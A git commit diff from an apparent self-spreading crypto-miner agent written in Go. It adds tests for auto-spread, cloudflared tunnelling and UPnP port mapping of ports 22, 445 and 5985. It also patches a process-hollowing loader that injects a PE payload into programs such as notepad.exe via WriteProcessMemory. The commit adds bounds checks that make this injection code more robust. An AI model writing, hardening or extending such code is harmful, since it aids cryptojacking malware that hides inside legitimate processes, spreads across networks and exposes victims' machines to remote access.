Expand test coverage across server, agent, and web; fix bugs found during audit.
Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.
This commit is contained in:
25
agent/deploy/autospread_test.go
Normal file
25
agent/deploy/autospread_test.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunSpreadOnceReturnsMessage(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: true}}
|
||||
msg := RunSpreadOnce(cfg)
|
||||
if msg == "" {
|
||||
t.Fatal("expected non-empty status message")
|
||||
}
|
||||
if !strings.Contains(strings.ToLower(msg), "spread") {
|
||||
t.Fatalf("unexpected message: %q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStartAutoSpreaderNoOpWhenDisabled(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: false}}
|
||||
// Should return immediately without panic.
|
||||
StartAutoSpreader(cfg)
|
||||
}
|
||||
18
agent/deploy/hollow_test.go
Normal file
18
agent/deploy/hollow_test.go
Normal file
@@ -0,0 +1,18 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRunHollowedUnavailableWithoutTag(t *testing.T) {
|
||||
err := RunHollowed("C:\\Windows\\System32\\notepad.exe", []byte{0})
|
||||
if err == nil {
|
||||
t.Fatal("expected error on default build")
|
||||
}
|
||||
msg := err.Error()
|
||||
if !strings.Contains(msg, "hollowing") && !strings.Contains(msg, "not available") {
|
||||
t.Fatalf("unexpected error: %q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -36,10 +36,19 @@ const (
|
||||
|
||||
// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
|
||||
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
|
||||
// Need at least 8 bytes from eLFANew to read numSections (offset 6, 2 bytes).
|
||||
if uint32(len(payload)) < eLFANew+8 {
|
||||
return 0, fmt.Errorf("payload too small to read section count at eLFANew 0x%x", eLFANew)
|
||||
}
|
||||
numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
|
||||
sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
|
||||
for i := uint32(0); i < uint32(numSections); i++ {
|
||||
sec := payload[sectionsBase+i*40:]
|
||||
secOff := sectionsBase + i*40
|
||||
// Each section header is 40 bytes; we read up to offset 24 (4 bytes).
|
||||
if uint32(len(payload)) < secOff+24 {
|
||||
break
|
||||
}
|
||||
sec := payload[secOff:]
|
||||
vAddr := binary.LittleEndian.Uint32(sec[12:])
|
||||
vSize := binary.LittleEndian.Uint32(sec[8:])
|
||||
rawOff := binary.LittleEndian.Uint32(sec[20:])
|
||||
@@ -81,7 +90,12 @@ func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32)
|
||||
}
|
||||
entryCount := (blkSize - 8) / 2
|
||||
for i := uint32(0); i < entryCount; i++ {
|
||||
entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:])
|
||||
entryOff := blockOff + 8 + i*2
|
||||
// Bounds check: each reloc entry is 2 bytes.
|
||||
if entryOff+2 > uint32(len(payload)) {
|
||||
break
|
||||
}
|
||||
entry := binary.LittleEndian.Uint16(payload[entryOff:])
|
||||
relType := entry >> 12
|
||||
relOff := uint32(entry & 0x0FFF)
|
||||
|
||||
@@ -240,12 +254,22 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
sectionsStart := 24 + uint32(sizeOfOptHdr)
|
||||
patchedNT := patched[eLFANew:]
|
||||
for i := uint16(0); i < numSections; i++ {
|
||||
secHdr := patchedNT[sectionsStart+uint32(i)*40:]
|
||||
secHdrOff := sectionsStart + uint32(i)*40
|
||||
// Each section header is 40 bytes; we read up to offset 24 (4 bytes).
|
||||
if uint32(len(patchedNT)) < secHdrOff+24 {
|
||||
return fmt.Errorf("section header %d out of bounds", i)
|
||||
}
|
||||
secHdr := patchedNT[secHdrOff:]
|
||||
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
|
||||
rawSize := binary.LittleEndian.Uint32(secHdr[16:])
|
||||
rawOff := binary.LittleEndian.Uint32(secHdr[20:])
|
||||
|
||||
if rawSize > 0 {
|
||||
// Bounds check: source slice must be within patched buffer.
|
||||
if uint64(rawOff)+uint64(rawSize) > uint64(len(patched)) {
|
||||
return fmt.Errorf("section %d raw data [%d:%d] exceeds payload (%d bytes)",
|
||||
i, rawOff, uint64(rawOff)+uint64(rawSize), len(patched))
|
||||
}
|
||||
ret, _, lastErr = procWriteProcessMemory.Call(
|
||||
uintptr(pi.Process),
|
||||
newMem+uintptr(virtAddr),
|
||||
|
||||
164
agent/deploy/natpunch_test.go
Normal file
164
agent/deploy/natpunch_test.go
Normal file
@@ -0,0 +1,164 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestXMLEscape(t *testing.T) {
|
||||
got := xmlEscape(`a&b<c>d`)
|
||||
want := "a&b<c>d"
|
||||
if got != want {
|
||||
t.Fatalf("got %q want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIntSliceStr(t *testing.T) {
|
||||
got := intSliceStr([]int{22, 445, 5985})
|
||||
want := []string{"22", "445", "5985"}
|
||||
if len(got) != len(want) {
|
||||
t.Fatalf("len %d != %d", len(got), len(want))
|
||||
}
|
||||
for i := range want {
|
||||
if got[i] != want[i] {
|
||||
t.Fatalf("[%d] got %q want %q", i, got[i], want[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetSubnet(t *testing.T) {
|
||||
if got := getSubnet("192.168.1.42"); got != "192.168.1" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
if getSubnet("bad") != "" {
|
||||
t.Fatal("invalid ip should return empty")
|
||||
}
|
||||
if getSubnet("10.0.0.1") != "10.0.0" {
|
||||
t.Fatalf("got %q", getSubnet("10.0.0.1"))
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloseUPnPInvalidPort(t *testing.T) {
|
||||
_, err := CloseUPnP(0)
|
||||
if err == nil || !strings.Contains(err.Error(), "external port required") {
|
||||
t.Fatalf("expected port error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveWANControlURL(t *testing.T) {
|
||||
const igdXML = `<?xml version="1.0"?>
|
||||
<root>
|
||||
<device>
|
||||
<serviceList>
|
||||
<service>
|
||||
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
|
||||
<controlURL>/ctl/IPConn</controlURL>
|
||||
</service>
|
||||
</serviceList>
|
||||
</device>
|
||||
</root>`
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, igdXML)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
got, err := resolveWANControlURL(srv.URL + "/igd.xml")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := srv.URL + "/ctl/IPConn"
|
||||
if got != want {
|
||||
t.Fatalf("got %q want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveWANControlURLAbsolute(t *testing.T) {
|
||||
const igdXML = `<?xml version="1.0"?>
|
||||
<root>
|
||||
<service>
|
||||
<serviceType>urn:schemas-upnp-org:service:WANPPPConnection:1</serviceType>
|
||||
<controlURL>http://192.168.0.1:49152/ctl/IPConn</controlURL>
|
||||
</service>
|
||||
</root>`
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, igdXML)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
got, err := resolveWANControlURL(srv.URL + "/desc.xml")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got != "http://192.168.0.1:49152/ctl/IPConn" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveWANControlURLMissingService(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, `<root><service><controlURL>/x</controlURL></service></root>`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
_, err := resolveWANControlURL(srv.URL)
|
||||
if err == nil || !strings.Contains(err.Error(), "WANIPConnection service not found") {
|
||||
t.Fatalf("expected service error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveWANControlURLMissingControlURL(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, `<root><serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType></root>`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
_, err := resolveWANControlURL(srv.URL)
|
||||
if err == nil || !strings.Contains(err.Error(), "controlURL not found") {
|
||||
t.Fatalf("expected controlURL error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpnpGetExternalIP(t *testing.T) {
|
||||
const soapResp = `<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<s:Body>
|
||||
<u:GetExternalIPAddressResponse xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||
<NewExternalIPAddress>203.0.113.10</NewExternalIPAddress>
|
||||
</u:GetExternalIPAddressResponse>
|
||||
</s:Body>
|
||||
</s:Envelope>`
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
fmt.Fprint(w, soapResp)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
ip, err := upnpGetExternalIP(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if ip != "203.0.113.10" {
|
||||
t.Fatalf("got %q", ip)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpnpSOAPErrorResponse(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, `<errorCode>718</errorCode>`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
_, err := upnpSOAP(srv.URL, "AddPortMapping", "<body/>")
|
||||
if err == nil || !strings.Contains(err.Error(), "AddPortMapping failed") {
|
||||
t.Fatalf("expected SOAP error, got %v", err)
|
||||
}
|
||||
}
|
||||
17
agent/deploy/tunnel_test.go
Normal file
17
agent/deploy/tunnel_test.go
Normal file
@@ -0,0 +1,17 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestStartCloudflaredTunnelEmptyURL(t *testing.T) {
|
||||
_, err := StartCloudflaredTunnel("")
|
||||
if err == nil || !strings.Contains(err.Error(), "server URL required") {
|
||||
t.Fatalf("expected URL error, got %v", err)
|
||||
}
|
||||
_, err = StartCloudflaredTunnel(" ")
|
||||
if err == nil {
|
||||
t.Fatal("whitespace-only URL should fail")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user